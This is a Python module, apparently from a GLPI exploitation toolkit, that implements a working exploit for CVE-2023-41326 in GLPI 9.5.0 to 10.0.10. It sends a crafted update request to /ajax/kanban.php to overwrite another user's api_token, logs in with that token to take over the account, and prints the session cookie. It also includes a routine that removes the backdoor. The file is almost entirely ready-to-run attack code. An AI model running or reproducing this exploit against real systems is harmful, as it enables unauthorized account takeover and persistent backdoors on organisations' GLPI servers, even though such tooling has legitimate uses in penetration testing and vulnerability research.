import time
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils, LoginResult

class CVE_2023_41326(GlpiExploit):
    """
    This CVE abuses a function that does not validate properly
    the update right of a user in glpi (or almost ;))

    Actually the check verify that the object you wanna modify is in the
    same entity as the user you are, or that you can see this entity.
    So if this exploit failed despite the version is vulnerable,
    this is probably because you are not in the same entity as the target.

    You can see your entities here: /ajax/entitytreesons.php?node=-1

    @author Abdulmohsen Alotaibi
    @cvss 8.1
    @name CVE_2023_41326
    """
    min_version = "9.5.0"
    max_version = "10.0.10"
    _impacts = "Arbitrary users field modification (not the picture), Account takeover"
    _privilege = "User"

    @staticmethod
    def _make_payload(id, column, val):
        """
        Create the payload to update a user column on glpi
        """
        return {"action": "update",
                "items_id": id,
                "itemtype": "User",
                "column_field": column,
                "column_value": val}

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow you to change any fields (except the picture) in the glpi_users table of any other users.\n"
        infos += "[b]Except if[/] there are different entities on the targeted GLPI. In this case you are cooked...\n"
        infos += "But still you will be able to change any fields of the user in the same entity as you\n"
        infos += "\n[u]Does it exists a bypass ?[/]\n"
        infos += "Probably, but guess what, the one I found does not work for one little thing...\n"
        infos += "Anyway\n\n[b]This exploit will backdoor an account by setting its api_token field[/]\n\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]target_id[/i]: The id of the account to backdoor\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Backdoor an account with id=2 (glpi)[/]\n"
        infos += "--run -O target_id=2\n"

        infos += "\n[grey66]# Clean the backdoor set up on account id=2 (glpi)[/]\n"
        infos += "--clean -O target_id=2\n"
        infos += "\nExploit is [red b]Really Dangerous[/]"
        return infos

    def _backdoor_account(self, account_id, api_key):
        """
        Backdoor the account of a user
        """
        Log.log(f"Backdooring account {account_id} with key: [b]{api_key}[/b]")
        self._write_log(f"Backdoor account with id: {account_id} and API Token: {api_key}")
        payload = CVE_2023_41326._make_payload(id=account_id,
                                               column="api_token",
                                               val=api_key)

        res = self.post("/ajax/kanban.php", data=payload, allow_redirects=False)

        self.glpi_session.logout()
        if self.glpi_session.login("", "", others={"user_token": api_key}) == LoginResult.SUCCESS:
            Log.msg(f"Backdoor worked, cookie:")
            print("; ".join(self.glpi_session.get_login_cookie()))
        else:
            Log.err(f"Could not login with API Token...")
            Log.err(f"The target account might not be in the same entity as you")

    def run(self, target_id):
        """
        Run the exploit on the target, to backdoor an account

        :param target_id: The id of the target
        :type target_id: str

        :raises ValueError: If the target_id is not a number
        """
        if not target_id.isdigit():
            raise ValueError("The target_id must be digits")

        api_key = GlpiUtils.random_str(40)
        self._backdoor_account(target_id, api_key)

    def clean(self, target_id):
        """
        Clean the target account

        :param target_id: The id of the target
        :type target_id: str
        """
        payload = CVE_2023_41326._make_payload(id=target_id,
                                               column="api_token",
                                               val="NULL")
        res = self.post("/ajax/kanban.php", data=payload)
        if res.status_code == HTTPStatus.OK:
            self._write_log(f"API key set to NULL for target_id: {target_id}")
            Log.msg(f"Target account [blue]{target_id}[/blue] shall now be unbackdoored")

        else:
            Log.err("[red]Not sure[/red] that the payload")
